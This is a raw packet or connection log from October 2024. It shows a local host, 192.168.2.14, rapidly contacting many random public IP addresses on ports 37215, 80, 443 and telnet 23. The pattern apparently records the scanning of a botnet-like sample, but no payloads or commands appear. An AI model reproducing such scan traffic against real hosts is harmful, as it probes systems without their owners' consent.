Oct 17, 2024 02:19:42.067085981 CEST	20644	37215	192.168.2.14	156.22.141.55
Oct 17, 2024 02:19:42.067090034 CEST	20644	37215	192.168.2.14	41.251.117.71
Oct 17, 2024 02:19:42.067092896 CEST	20644	37215	192.168.2.14	197.168.56.143
Oct 17, 2024 02:19:42.067099094 CEST	20644	37215	192.168.2.14	197.67.231.176
Oct 17, 2024 02:19:42.067099094 CEST	20644	37215	192.168.2.14	197.172.249.211
Oct 17, 2024 02:19:42.067099094 CEST	20644	37215	192.168.2.14	197.33.47.143
Oct 17, 2024 02:19:42.067109108 CEST	20644	37215	192.168.2.14	41.55.103.11
Oct 17, 2024 02:19:42.067109108 CEST	20644	37215	192.168.2.14	156.126.229.198
Oct 17, 2024 02:19:42.067121029 CEST	20644	37215	192.168.2.14	156.86.23.54
Oct 17, 2024 02:19:42.067146063 CEST	20644	37215	192.168.2.14	197.152.171.32
Oct 17, 2024 02:19:42.067162991 CEST	20644	37215	192.168.2.14	41.56.222.95
Oct 17, 2024 02:19:42.067167997 CEST	20644	37215	192.168.2.14	156.184.80.234
Oct 17, 2024 02:19:42.067167997 CEST	20644	37215	192.168.2.14	197.236.201.52
Oct 17, 2024 02:19:42.067167997 CEST	20644	37215	192.168.2.14	41.210.198.162
Oct 17, 2024 02:19:42.067184925 CEST	20644	37215	192.168.2.14	41.59.72.4
Oct 17, 2024 02:19:42.067193031 CEST	20644	37215	192.168.2.14	156.15.137.28
Oct 17, 2024 02:19:42.067193985 CEST	20644	37215	192.168.2.14	156.102.79.181
Oct 17, 2024 02:19:42.067193985 CEST	20644	37215	192.168.2.14	197.148.222.107
Oct 17, 2024 02:19:42.067202091 CEST	20644	37215	192.168.2.14	41.248.59.46
Oct 17, 2024 02:19:42.067203045 CEST	20644	37215	192.168.2.14	41.202.17.78
Oct 17, 2024 02:19:42.067212105 CEST	20644	37215	192.168.2.14	156.37.89.13
Oct 17, 2024 02:19:42.067213058 CEST	20644	37215	192.168.2.14	41.196.75.139
Oct 17, 2024 02:19:42.067229033 CEST	20644	37215	192.168.2.14	197.88.127.59
Oct 17, 2024 02:19:42.067233086 CEST	20644	37215	192.168.2.14	197.62.67.234
Oct 17, 2024 02:19:42.067234993 CEST	20644	37215	192.168.2.14	197.49.114.233
Oct 17, 2024 02:19:42.067235947 CEST	20644	37215	192.168.2.14	156.180.175.111
Oct 17, 2024 02:19:42.067235947 CEST	20644	37215	192.168.2.14	156.48.251.37
Oct 17, 2024 02:19:42.067251921 CEST	20644	37215	192.168.2.14	197.189.153.108
Oct 17, 2024 02:19:42.067275047 CEST	20644	37215	192.168.2.14	156.170.209.173
Oct 17, 2024 02:19:42.067276955 CEST	20644	37215	192.168.2.14	156.146.16.75
Oct 17, 2024 02:19:42.067293882 CEST	20644	37215	192.168.2.14	156.152.217.133
Oct 17, 2024 02:19:42.067301989 CEST	20644	37215	192.168.2.14	197.55.97.182
Oct 17, 2024 02:19:42.067310095 CEST	20644	37215	192.168.2.14	197.66.196.25
Oct 17, 2024 02:19:42.067312956 CEST	20644	37215	192.168.2.14	156.77.88.126
Oct 17, 2024 02:19:42.067328930 CEST	20644	37215	192.168.2.14	41.87.209.189
Oct 17, 2024 02:19:42.067328930 CEST	20644	37215	192.168.2.14	41.4.225.250
Oct 17, 2024 02:19:42.067336082 CEST	20644	37215	192.168.2.14	41.32.32.235
Oct 17, 2024 02:19:42.067338943 CEST	20644	37215	192.168.2.14	156.93.59.84
Oct 17, 2024 02:19:42.067349911 CEST	20644	37215	192.168.2.14	197.159.71.146
Oct 17, 2024 02:19:42.067349911 CEST	20644	37215	192.168.2.14	197.38.223.106
Oct 17, 2024 02:19:42.067353010 CEST	20644	37215	192.168.2.14	156.23.63.162
Oct 17, 2024 02:19:42.067353010 CEST	20644	37215	192.168.2.14	156.25.227.83
Oct 17, 2024 02:19:42.067373991 CEST	20644	37215	192.168.2.14	197.54.81.179
Oct 17, 2024 02:19:42.067380905 CEST	20644	37215	192.168.2.14	197.173.197.199
Oct 17, 2024 02:19:42.067389965 CEST	20644	37215	192.168.2.14	197.33.100.28
Oct 17, 2024 02:19:42.067395926 CEST	20644	37215	192.168.2.14	41.125.186.127
Oct 17, 2024 02:19:42.067399025 CEST	20644	37215	192.168.2.14	197.182.89.188
Oct 17, 2024 02:19:42.067399979 CEST	20644	37215	192.168.2.14	197.242.62.246
Oct 17, 2024 02:19:42.067409992 CEST	20644	37215	192.168.2.14	197.153.159.220
Oct 17, 2024 02:19:42.067416906 CEST	20644	37215	192.168.2.14	197.125.3.237
Oct 17, 2024 02:19:42.067416906 CEST	20644	37215	192.168.2.14	197.151.167.63
Oct 17, 2024 02:19:42.067420959 CEST	20644	37215	192.168.2.14	197.236.117.155
Oct 17, 2024 02:19:42.067444086 CEST	20644	37215	192.168.2.14	197.168.234.16
Oct 17, 2024 02:19:42.067451000 CEST	20644	37215	192.168.2.14	156.118.179.176
Oct 17, 2024 02:19:42.067451000 CEST	20644	37215	192.168.2.14	41.226.14.230
Oct 17, 2024 02:19:42.067451954 CEST	20644	37215	192.168.2.14	156.177.224.166
Oct 17, 2024 02:19:42.067452908 CEST	20644	37215	192.168.2.14	197.67.105.195
Oct 17, 2024 02:19:42.067454100 CEST	20644	37215	192.168.2.14	41.82.214.101
Oct 17, 2024 02:19:42.067467928 CEST	20644	37215	192.168.2.14	41.178.151.24
Oct 17, 2024 02:19:42.067471981 CEST	20644	37215	192.168.2.14	156.195.111.117
Oct 17, 2024 02:19:42.067478895 CEST	20644	37215	192.168.2.14	41.139.71.199
Oct 17, 2024 02:19:42.067480087 CEST	20644	37215	192.168.2.14	41.52.209.162
Oct 17, 2024 02:19:42.067493916 CEST	20644	37215	192.168.2.14	41.159.157.15
Oct 17, 2024 02:19:42.067497015 CEST	20644	37215	192.168.2.14	197.82.74.72
Oct 17, 2024 02:19:42.067497969 CEST	20644	37215	192.168.2.14	197.124.155.195
Oct 17, 2024 02:19:42.067519903 CEST	20644	37215	192.168.2.14	197.38.79.151
Oct 17, 2024 02:19:42.067519903 CEST	20644	37215	192.168.2.14	156.79.119.85
Oct 17, 2024 02:19:42.067532063 CEST	20644	37215	192.168.2.14	197.51.60.123
Oct 17, 2024 02:19:42.067537069 CEST	20644	37215	192.168.2.14	41.195.219.242
Oct 17, 2024 02:19:42.067565918 CEST	20644	37215	192.168.2.14	41.69.242.80
Oct 17, 2024 02:19:42.067579985 CEST	20644	37215	192.168.2.14	197.146.47.115
Oct 17, 2024 02:19:42.067581892 CEST	20644	37215	192.168.2.14	197.35.82.55
Oct 17, 2024 02:19:42.067583084 CEST	20644	37215	192.168.2.14	41.166.42.185
Oct 17, 2024 02:19:42.067588091 CEST	20644	37215	192.168.2.14	156.75.24.83
Oct 17, 2024 02:19:42.067588091 CEST	20644	37215	192.168.2.14	156.40.209.197
Oct 17, 2024 02:19:42.067605972 CEST	20644	37215	192.168.2.14	197.220.230.145
Oct 17, 2024 02:19:42.067630053 CEST	20644	37215	192.168.2.14	197.99.57.148
Oct 17, 2024 02:19:42.067642927 CEST	20644	37215	192.168.2.14	156.205.59.25
Oct 17, 2024 02:19:42.067642927 CEST	20644	37215	192.168.2.14	41.64.186.1
Oct 17, 2024 02:19:42.067643881 CEST	20644	37215	192.168.2.14	41.39.105.250
Oct 17, 2024 02:19:42.067642927 CEST	20644	37215	192.168.2.14	41.116.129.193
Oct 17, 2024 02:19:42.067643881 CEST	20644	37215	192.168.2.14	197.192.7.55
Oct 17, 2024 02:19:42.068767071 CEST	80	39766	174.24.2.27	192.168.2.14
Oct 17, 2024 02:19:42.068840981 CEST	39766	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:42.071187019 CEST	80	20646	200.249.109.225	192.168.2.14
Oct 17, 2024 02:19:42.071209908 CEST	80	20646	205.137.136.50	192.168.2.14
Oct 17, 2024 02:19:42.071224928 CEST	80	20646	129.150.179.203	192.168.2.14
Oct 17, 2024 02:19:42.071238041 CEST	80	20646	213.53.246.91	192.168.2.14
Oct 17, 2024 02:19:42.071253061 CEST	80	20646	69.92.11.190	192.168.2.14
Oct 17, 2024 02:19:42.071266890 CEST	80	20646	149.208.111.249	192.168.2.14
Oct 17, 2024 02:19:42.071280003 CEST	80	20646	101.123.107.119	192.168.2.14
Oct 17, 2024 02:19:42.071285963 CEST	20646	80	192.168.2.14	205.137.136.50
Oct 17, 2024 02:19:42.071291924 CEST	20646	80	192.168.2.14	200.249.109.225
Oct 17, 2024 02:19:42.071294069 CEST	80	20646	14.237.170.133	192.168.2.14
Oct 17, 2024 02:19:42.071299076 CEST	20646	80	192.168.2.14	129.150.179.203
Oct 17, 2024 02:19:42.071299076 CEST	20646	80	192.168.2.14	213.53.246.91
Oct 17, 2024 02:19:42.071304083 CEST	20646	80	192.168.2.14	69.92.11.190
Oct 17, 2024 02:19:42.071310043 CEST	80	20646	208.207.119.134	192.168.2.14
Oct 17, 2024 02:19:42.071317911 CEST	20646	80	192.168.2.14	149.208.111.249
Oct 17, 2024 02:19:42.071325064 CEST	80	20646	138.91.201.182	192.168.2.14
Oct 17, 2024 02:19:42.071338892 CEST	80	20646	63.79.247.38	192.168.2.14
Oct 17, 2024 02:19:42.071338892 CEST	20646	80	192.168.2.14	14.237.170.133
Oct 17, 2024 02:19:42.071341991 CEST	20646	80	192.168.2.14	101.123.107.119
Oct 17, 2024 02:19:42.071372986 CEST	20646	80	192.168.2.14	138.91.201.182
Oct 17, 2024 02:19:42.071372986 CEST	80	20646	188.250.179.38	192.168.2.14
Oct 17, 2024 02:19:42.071376085 CEST	20646	80	192.168.2.14	63.79.247.38
Oct 17, 2024 02:19:42.071403980 CEST	20646	80	192.168.2.14	208.207.119.134
Oct 17, 2024 02:19:42.071413994 CEST	80	20646	17.122.166.217	192.168.2.14
Oct 17, 2024 02:19:42.071434975 CEST	80	20646	177.136.92.165	192.168.2.14
Oct 17, 2024 02:19:42.071455002 CEST	80	20646	218.145.129.51	192.168.2.14
Oct 17, 2024 02:19:42.071464062 CEST	20646	80	192.168.2.14	17.122.166.217
Oct 17, 2024 02:19:42.071468115 CEST	80	20646	148.158.180.198	192.168.2.14
Oct 17, 2024 02:19:42.071481943 CEST	80	20646	109.66.110.33	192.168.2.14
Oct 17, 2024 02:19:42.071481943 CEST	20646	80	192.168.2.14	188.250.179.38
Oct 17, 2024 02:19:42.071495056 CEST	80	20646	53.51.153.5	192.168.2.14
Oct 17, 2024 02:19:42.071506977 CEST	80	20646	38.136.129.243	192.168.2.14
Oct 17, 2024 02:19:42.071521997 CEST	20646	80	192.168.2.14	177.136.92.165
Oct 17, 2024 02:19:42.071522951 CEST	80	20646	91.27.120.122	192.168.2.14
Oct 17, 2024 02:19:42.071527958 CEST	20646	80	192.168.2.14	148.158.180.198
Oct 17, 2024 02:19:42.071528912 CEST	20646	80	192.168.2.14	218.145.129.51
Oct 17, 2024 02:19:42.071531057 CEST	20646	80	192.168.2.14	109.66.110.33
Oct 17, 2024 02:19:42.071537971 CEST	80	20646	4.1.182.38	192.168.2.14
Oct 17, 2024 02:19:42.071542978 CEST	20646	80	192.168.2.14	53.51.153.5
Oct 17, 2024 02:19:42.071544886 CEST	20646	80	192.168.2.14	38.136.129.243
Oct 17, 2024 02:19:42.071556091 CEST	20646	80	192.168.2.14	91.27.120.122
Oct 17, 2024 02:19:42.071558952 CEST	80	20646	117.41.206.152	192.168.2.14
Oct 17, 2024 02:19:42.071578026 CEST	80	20646	86.43.205.69	192.168.2.14
Oct 17, 2024 02:19:42.071594000 CEST	80	20646	43.21.92.170	192.168.2.14
Oct 17, 2024 02:19:42.071604013 CEST	20646	80	192.168.2.14	117.41.206.152
Oct 17, 2024 02:19:42.071604967 CEST	20646	80	192.168.2.14	86.43.205.69
Oct 17, 2024 02:19:42.071613073 CEST	80	20646	114.116.10.200	192.168.2.14
Oct 17, 2024 02:19:42.071633101 CEST	80	20646	121.172.207.133	192.168.2.14
Oct 17, 2024 02:19:42.071650982 CEST	80	20646	194.68.119.252	192.168.2.14
Oct 17, 2024 02:19:42.071659088 CEST	20646	80	192.168.2.14	114.116.10.200
Oct 17, 2024 02:19:42.071669102 CEST	80	20646	87.186.36.29	192.168.2.14
Oct 17, 2024 02:19:42.071686983 CEST	80	20646	12.241.125.1	192.168.2.14
Oct 17, 2024 02:19:42.071691990 CEST	20646	80	192.168.2.14	121.172.207.133
Oct 17, 2024 02:19:42.071691990 CEST	20646	80	192.168.2.14	194.68.119.252
Oct 17, 2024 02:19:42.071706057 CEST	80	20646	158.161.249.229	192.168.2.14
Oct 17, 2024 02:19:42.071706057 CEST	20646	80	192.168.2.14	87.186.36.29
Oct 17, 2024 02:19:42.071722984 CEST	80	20646	143.90.220.190	192.168.2.14
Oct 17, 2024 02:19:42.071737051 CEST	80	20646	112.86.57.187	192.168.2.14
Oct 17, 2024 02:19:42.071741104 CEST	20646	80	192.168.2.14	12.241.125.1
Oct 17, 2024 02:19:42.071749926 CEST	80	20646	163.169.40.216	192.168.2.14
Oct 17, 2024 02:19:42.071753979 CEST	20646	80	192.168.2.14	43.21.92.170
Oct 17, 2024 02:19:42.071757078 CEST	20646	80	192.168.2.14	4.1.182.38
Oct 17, 2024 02:19:42.071760893 CEST	20646	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:42.071768999 CEST	80	20646	164.78.102.220	192.168.2.14
Oct 17, 2024 02:19:42.071774960 CEST	20646	80	192.168.2.14	158.161.249.229
Oct 17, 2024 02:19:42.071774960 CEST	20646	80	192.168.2.14	112.86.57.187
Oct 17, 2024 02:19:42.071784019 CEST	80	20646	119.78.208.204	192.168.2.14
Oct 17, 2024 02:19:42.071798086 CEST	80	20646	154.95.3.50	192.168.2.14
Oct 17, 2024 02:19:42.071810007 CEST	80	20646	200.23.35.209	192.168.2.14
Oct 17, 2024 02:19:42.071821928 CEST	80	20646	201.172.176.111	192.168.2.14
Oct 17, 2024 02:19:42.071821928 CEST	20646	80	192.168.2.14	164.78.102.220
Oct 17, 2024 02:19:42.071821928 CEST	20646	80	192.168.2.14	119.78.208.204
Oct 17, 2024 02:19:42.071837902 CEST	80	20646	187.227.210.237	192.168.2.14
Oct 17, 2024 02:19:42.071852922 CEST	80	20646	136.120.28.97	192.168.2.14
Oct 17, 2024 02:19:42.071861982 CEST	20646	80	192.168.2.14	163.169.40.216
Oct 17, 2024 02:19:42.071866989 CEST	80	20646	119.247.237.195	192.168.2.14
Oct 17, 2024 02:19:42.071867943 CEST	20646	80	192.168.2.14	187.227.210.237
Oct 17, 2024 02:19:42.071861982 CEST	20646	80	192.168.2.14	201.172.176.111
Oct 17, 2024 02:19:42.071882963 CEST	80	20646	188.91.246.142	192.168.2.14
Oct 17, 2024 02:19:42.071888924 CEST	20646	80	192.168.2.14	136.120.28.97
Oct 17, 2024 02:19:42.071897984 CEST	80	20646	175.233.233.82	192.168.2.14
Oct 17, 2024 02:19:42.071908951 CEST	20646	80	192.168.2.14	119.247.237.195
Oct 17, 2024 02:19:42.071916103 CEST	20646	80	192.168.2.14	188.91.246.142
Oct 17, 2024 02:19:42.071924925 CEST	80	20646	156.244.253.66	192.168.2.14
Oct 17, 2024 02:19:42.071935892 CEST	20646	80	192.168.2.14	200.23.35.209
Oct 17, 2024 02:19:42.071940899 CEST	80	20646	95.0.46.191	192.168.2.14
Oct 17, 2024 02:19:42.071954966 CEST	80	20646	186.131.224.227	192.168.2.14
Oct 17, 2024 02:19:42.071955919 CEST	20646	80	192.168.2.14	154.95.3.50
Oct 17, 2024 02:19:42.071957111 CEST	20646	80	192.168.2.14	175.233.233.82
Oct 17, 2024 02:19:42.071969986 CEST	80	20646	162.148.153.221	192.168.2.14
Oct 17, 2024 02:19:42.071974993 CEST	20646	80	192.168.2.14	95.0.46.191
Oct 17, 2024 02:19:42.071985960 CEST	80	20646	98.41.180.122	192.168.2.14
Oct 17, 2024 02:19:42.072005987 CEST	80	20646	78.114.185.243	192.168.2.14
Oct 17, 2024 02:19:42.072012901 CEST	20646	80	192.168.2.14	162.148.153.221
Oct 17, 2024 02:19:42.072017908 CEST	20646	80	192.168.2.14	186.131.224.227
Oct 17, 2024 02:19:42.072020054 CEST	80	20646	129.205.54.121	192.168.2.14
Oct 17, 2024 02:19:42.072021008 CEST	20646	80	192.168.2.14	156.244.253.66
Oct 17, 2024 02:19:42.072030067 CEST	20646	80	192.168.2.14	98.41.180.122
Oct 17, 2024 02:19:42.072035074 CEST	80	20646	178.247.102.12	192.168.2.14
Oct 17, 2024 02:19:42.072048903 CEST	80	20646	119.188.95.244	192.168.2.14
Oct 17, 2024 02:19:42.072062969 CEST	80	20646	115.65.80.18	192.168.2.14
Oct 17, 2024 02:19:42.072071075 CEST	20646	80	192.168.2.14	178.247.102.12
Oct 17, 2024 02:19:42.072073936 CEST	20646	80	192.168.2.14	129.205.54.121
Oct 17, 2024 02:19:42.072077990 CEST	80	20646	77.192.96.231	192.168.2.14
Oct 17, 2024 02:19:42.072088957 CEST	20646	80	192.168.2.14	119.188.95.244
Oct 17, 2024 02:19:42.072091103 CEST	80	20646	212.100.217.43	192.168.2.14
Oct 17, 2024 02:19:42.072091103 CEST	20646	80	192.168.2.14	78.114.185.243
Oct 17, 2024 02:19:42.072104931 CEST	80	20646	167.117.200.59	192.168.2.14
Oct 17, 2024 02:19:42.072119951 CEST	80	20646	96.22.230.83	192.168.2.14
Oct 17, 2024 02:19:42.072134018 CEST	20646	80	192.168.2.14	115.65.80.18
Oct 17, 2024 02:19:42.072134972 CEST	20646	80	192.168.2.14	77.192.96.231
Oct 17, 2024 02:19:42.072134972 CEST	20646	80	192.168.2.14	167.117.200.59
Oct 17, 2024 02:19:42.072138071 CEST	80	20646	25.52.7.195	192.168.2.14
Oct 17, 2024 02:19:42.072149992 CEST	20646	80	192.168.2.14	212.100.217.43
Oct 17, 2024 02:19:42.072153091 CEST	80	20646	148.185.62.200	192.168.2.14
Oct 17, 2024 02:19:42.072160959 CEST	20646	80	192.168.2.14	96.22.230.83
Oct 17, 2024 02:19:42.072168112 CEST	80	20646	132.64.197.252	192.168.2.14
Oct 17, 2024 02:19:42.072182894 CEST	80	20646	36.160.16.253	192.168.2.14
Oct 17, 2024 02:19:42.072196007 CEST	20646	80	192.168.2.14	148.185.62.200
Oct 17, 2024 02:19:42.072196960 CEST	80	20646	209.128.30.35	192.168.2.14
Oct 17, 2024 02:19:42.072210073 CEST	80	20646	209.239.213.18	192.168.2.14
Oct 17, 2024 02:19:42.072215080 CEST	20646	80	192.168.2.14	25.52.7.195
Oct 17, 2024 02:19:42.072225094 CEST	80	20646	221.147.220.52	192.168.2.14
Oct 17, 2024 02:19:42.072241068 CEST	80	20646	163.199.219.72	192.168.2.14
Oct 17, 2024 02:19:42.072242022 CEST	20646	80	192.168.2.14	209.128.30.35
Oct 17, 2024 02:19:42.072254896 CEST	20646	80	192.168.2.14	132.64.197.252
Oct 17, 2024 02:19:42.072254896 CEST	20646	80	192.168.2.14	36.160.16.253
Oct 17, 2024 02:19:42.072256088 CEST	80	20646	180.21.223.246	192.168.2.14
Oct 17, 2024 02:19:42.072272062 CEST	80	20646	46.155.241.200	192.168.2.14
Oct 17, 2024 02:19:42.072274923 CEST	20646	80	192.168.2.14	163.199.219.72
Oct 17, 2024 02:19:42.072278976 CEST	20646	80	192.168.2.14	221.147.220.52
Oct 17, 2024 02:19:42.072285891 CEST	80	20646	12.151.93.74	192.168.2.14
Oct 17, 2024 02:19:42.072299004 CEST	80	20646	134.64.88.117	192.168.2.14
Oct 17, 2024 02:19:42.072300911 CEST	20646	80	192.168.2.14	180.21.223.246
Oct 17, 2024 02:19:42.072304010 CEST	20646	80	192.168.2.14	209.239.213.18
Oct 17, 2024 02:19:42.072304010 CEST	20646	80	192.168.2.14	46.155.241.200
Oct 17, 2024 02:19:42.072313070 CEST	80	20646	23.108.196.223	192.168.2.14
Oct 17, 2024 02:19:42.072326899 CEST	80	20646	179.200.221.24	192.168.2.14
Oct 17, 2024 02:19:42.072340965 CEST	80	20646	211.191.215.160	192.168.2.14
Oct 17, 2024 02:19:42.072340965 CEST	20646	80	192.168.2.14	12.151.93.74
Oct 17, 2024 02:19:42.072354078 CEST	20646	80	192.168.2.14	23.108.196.223
Oct 17, 2024 02:19:42.072355032 CEST	80	20646	87.38.163.168	192.168.2.14
Oct 17, 2024 02:19:42.072365999 CEST	20646	80	192.168.2.14	179.200.221.24
Oct 17, 2024 02:19:42.072367907 CEST	20646	80	192.168.2.14	211.191.215.160
Oct 17, 2024 02:19:42.072386980 CEST	37215	20644	197.33.100.28	192.168.2.14
Oct 17, 2024 02:19:42.072390079 CEST	20646	80	192.168.2.14	134.64.88.117
Oct 17, 2024 02:19:42.072396994 CEST	20646	80	192.168.2.14	87.38.163.168
Oct 17, 2024 02:19:42.073371887 CEST	20644	37215	192.168.2.14	197.33.100.28
Oct 17, 2024 02:19:42.075963974 CEST	39894	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:42.076522112 CEST	34644	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:42.081584930 CEST	59430	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:42.083827972 CEST	45122	59666	192.168.2.14	92.249.48.84
Oct 17, 2024 02:19:42.086417913 CEST	23	59430	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:42.088466883 CEST	59430	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:42.114315033 CEST	37682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:42.114648104 CEST	41198	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:42.115714073 CEST	56790	23	192.168.2.14	43.102.170.193
Oct 17, 2024 02:19:42.119544983 CEST	37215	37682	197.8.130.27	192.168.2.14
Oct 17, 2024 02:19:42.119612932 CEST	37682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:42.119834900 CEST	45080	443	192.168.2.14	109.86.235.87
Oct 17, 2024 02:19:42.119834900 CEST	54210	443	192.168.2.14	148.199.235.17
Oct 17, 2024 02:19:42.119843006 CEST	48734	443	192.168.2.14	2.145.78.129
Oct 17, 2024 02:19:42.119858027 CEST	443	45080	109.86.235.87	192.168.2.14
Oct 17, 2024 02:19:42.119877100 CEST	60928	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:42.119878054 CEST	58334	443	192.168.2.14	118.253.42.53
Oct 17, 2024 02:19:42.120002031 CEST	80	41198	96.128.202.170	192.168.2.14
Oct 17, 2024 02:19:42.120009899 CEST	45080	443	192.168.2.14	109.86.235.87
Oct 17, 2024 02:19:42.120177031 CEST	45080	443	192.168.2.14	109.86.235.87
Oct 17, 2024 02:19:42.120177031 CEST	45080	443	192.168.2.14	109.86.235.87
Oct 17, 2024 02:19:42.120177031 CEST	41198	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:42.120194912 CEST	443	45080	109.86.235.87	192.168.2.14
Oct 17, 2024 02:19:42.120273113 CEST	443	45080	109.86.235.87	192.168.2.14
Oct 17, 2024 02:19:42.120646954 CEST	23	56790	43.102.170.193	192.168.2.14
Oct 17, 2024 02:19:42.123220921 CEST	56790	23	192.168.2.14	43.102.170.193
Oct 17, 2024 02:19:42.125469923 CEST	46712	37215	192.168.2.14	197.16.66.225
Oct 17, 2024 02:19:42.125981092 CEST	47110	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:42.128462076 CEST	40378	23	192.168.2.14	82.45.209.48
Oct 17, 2024 02:19:42.133317947 CEST	23	40378	82.45.209.48	192.168.2.14
Oct 17, 2024 02:19:42.133382082 CEST	40378	23	192.168.2.14	82.45.209.48
Oct 17, 2024 02:19:42.135601044 CEST	53766	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:42.136007071 CEST	34536	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:42.136717081 CEST	49324	23	192.168.2.14	156.185.168.182
Oct 17, 2024 02:19:42.147835970 CEST	33854	443	192.168.2.14	94.143.132.188
Oct 17, 2024 02:19:42.147840977 CEST	59524	443	192.168.2.14	2.168.41.147
Oct 17, 2024 02:19:42.147844076 CEST	33508	443	192.168.2.14	210.29.71.196
Oct 17, 2024 02:19:42.147847891 CEST	55068	443	192.168.2.14	178.176.33.253
Oct 17, 2024 02:19:42.147859097 CEST	443	33854	94.143.132.188	192.168.2.14
Oct 17, 2024 02:19:42.147862911 CEST	443	59524	2.168.41.147	192.168.2.14
Oct 17, 2024 02:19:42.147871017 CEST	41474	443	192.168.2.14	42.134.47.176
Oct 17, 2024 02:19:42.147874117 CEST	49896	443	192.168.2.14	202.116.136.217
Oct 17, 2024 02:19:42.147924900 CEST	59524	443	192.168.2.14	2.168.41.147
Oct 17, 2024 02:19:42.147979975 CEST	33854	443	192.168.2.14	94.143.132.188
Oct 17, 2024 02:19:42.147981882 CEST	20641	443	192.168.2.14	148.18.52.85
Oct 17, 2024 02:19:42.147989035 CEST	20641	443	192.168.2.14	210.125.226.144
Oct 17, 2024 02:19:42.147989035 CEST	20641	443	192.168.2.14	109.42.29.210
Oct 17, 2024 02:19:42.147998095 CEST	20641	443	192.168.2.14	202.187.241.36
Oct 17, 2024 02:19:42.148000002 CEST	20641	443	192.168.2.14	79.154.34.23
Oct 17, 2024 02:19:42.148000002 CEST	20641	443	192.168.2.14	210.101.199.242
Oct 17, 2024 02:19:42.148011923 CEST	20641	443	192.168.2.14	212.85.44.90
Oct 17, 2024 02:19:42.148011923 CEST	20641	443	192.168.2.14	118.29.225.156
Oct 17, 2024 02:19:42.148026943 CEST	20641	443	192.168.2.14	79.54.175.185
Oct 17, 2024 02:19:42.148030996 CEST	20641	443	192.168.2.14	5.179.139.37
Oct 17, 2024 02:19:42.148031950 CEST	20641	443	192.168.2.14	123.170.11.70
Oct 17, 2024 02:19:42.148031950 CEST	20641	443	192.168.2.14	123.108.226.147
Oct 17, 2024 02:19:42.148040056 CEST	20641	443	192.168.2.14	117.184.200.175
Oct 17, 2024 02:19:42.148049116 CEST	20641	443	192.168.2.14	94.53.237.193
Oct 17, 2024 02:19:42.148049116 CEST	20641	443	192.168.2.14	117.196.189.2
Oct 17, 2024 02:19:42.148051977 CEST	20641	443	192.168.2.14	2.136.145.41
Oct 17, 2024 02:19:42.148057938 CEST	20641	443	192.168.2.14	123.123.23.169
Oct 17, 2024 02:19:42.148057938 CEST	20641	443	192.168.2.14	202.45.235.191
Oct 17, 2024 02:19:42.148092031 CEST	20641	443	192.168.2.14	37.57.195.75
Oct 17, 2024 02:19:42.148092031 CEST	20641	443	192.168.2.14	148.56.214.250
Oct 17, 2024 02:19:42.148092031 CEST	20641	443	192.168.2.14	94.94.231.24
Oct 17, 2024 02:19:42.148094893 CEST	20641	443	192.168.2.14	148.127.12.28
Oct 17, 2024 02:19:42.148101091 CEST	20641	443	192.168.2.14	118.165.61.134
Oct 17, 2024 02:19:42.148107052 CEST	20641	443	192.168.2.14	42.62.41.158
Oct 17, 2024 02:19:42.148109913 CEST	20641	443	192.168.2.14	118.46.226.8
Oct 17, 2024 02:19:42.148112059 CEST	20641	443	192.168.2.14	202.223.78.221
Oct 17, 2024 02:19:42.148127079 CEST	20641	443	192.168.2.14	212.121.49.181
Oct 17, 2024 02:19:42.148134947 CEST	20641	443	192.168.2.14	202.248.177.246
Oct 17, 2024 02:19:42.148138046 CEST	20641	443	192.168.2.14	123.174.194.189
Oct 17, 2024 02:19:42.148139000 CEST	20641	443	192.168.2.14	210.115.121.4
Oct 17, 2024 02:19:42.148144960 CEST	20641	443	192.168.2.14	148.237.139.89
Oct 17, 2024 02:19:42.148144960 CEST	20641	443	192.168.2.14	118.238.116.232
Oct 17, 2024 02:19:42.148154974 CEST	20641	443	192.168.2.14	212.217.22.48
Oct 17, 2024 02:19:42.148170948 CEST	20641	443	192.168.2.14	202.207.184.16
Oct 17, 2024 02:19:42.148171902 CEST	20641	443	192.168.2.14	42.94.140.39
Oct 17, 2024 02:19:42.148170948 CEST	20641	443	192.168.2.14	148.165.164.201
Oct 17, 2024 02:19:42.148171902 CEST	20641	443	192.168.2.14	178.228.114.52
Oct 17, 2024 02:19:42.148171902 CEST	20641	443	192.168.2.14	5.47.110.183
Oct 17, 2024 02:19:42.148171902 CEST	20641	443	192.168.2.14	178.121.233.169
Oct 17, 2024 02:19:42.148179054 CEST	20641	443	192.168.2.14	148.212.216.213
Oct 17, 2024 02:19:42.148179054 CEST	20641	443	192.168.2.14	94.103.120.195
Oct 17, 2024 02:19:42.148191929 CEST	20641	443	192.168.2.14	202.93.65.142
Oct 17, 2024 02:19:42.148199081 CEST	20641	443	192.168.2.14	79.180.140.91
Oct 17, 2024 02:19:42.148199081 CEST	20641	443	192.168.2.14	210.117.110.72
Oct 17, 2024 02:19:42.148211002 CEST	20641	443	192.168.2.14	117.31.58.164
Oct 17, 2024 02:19:42.148211002 CEST	20641	443	192.168.2.14	123.56.136.136
Oct 17, 2024 02:19:42.148211956 CEST	20641	443	192.168.2.14	178.6.143.148
Oct 17, 2024 02:19:42.148220062 CEST	20641	443	192.168.2.14	117.85.188.115
Oct 17, 2024 02:19:42.148221970 CEST	20641	443	192.168.2.14	5.185.211.24
Oct 17, 2024 02:19:42.148225069 CEST	20641	443	192.168.2.14	37.150.35.153
Oct 17, 2024 02:19:42.148225069 CEST	20641	443	192.168.2.14	117.14.113.203
Oct 17, 2024 02:19:42.148230076 CEST	20641	443	192.168.2.14	79.169.204.126
Oct 17, 2024 02:19:42.148248911 CEST	20641	443	192.168.2.14	109.209.48.175
Oct 17, 2024 02:19:42.148258924 CEST	20641	443	192.168.2.14	212.251.219.20
Oct 17, 2024 02:19:42.148258924 CEST	20641	443	192.168.2.14	148.163.5.229
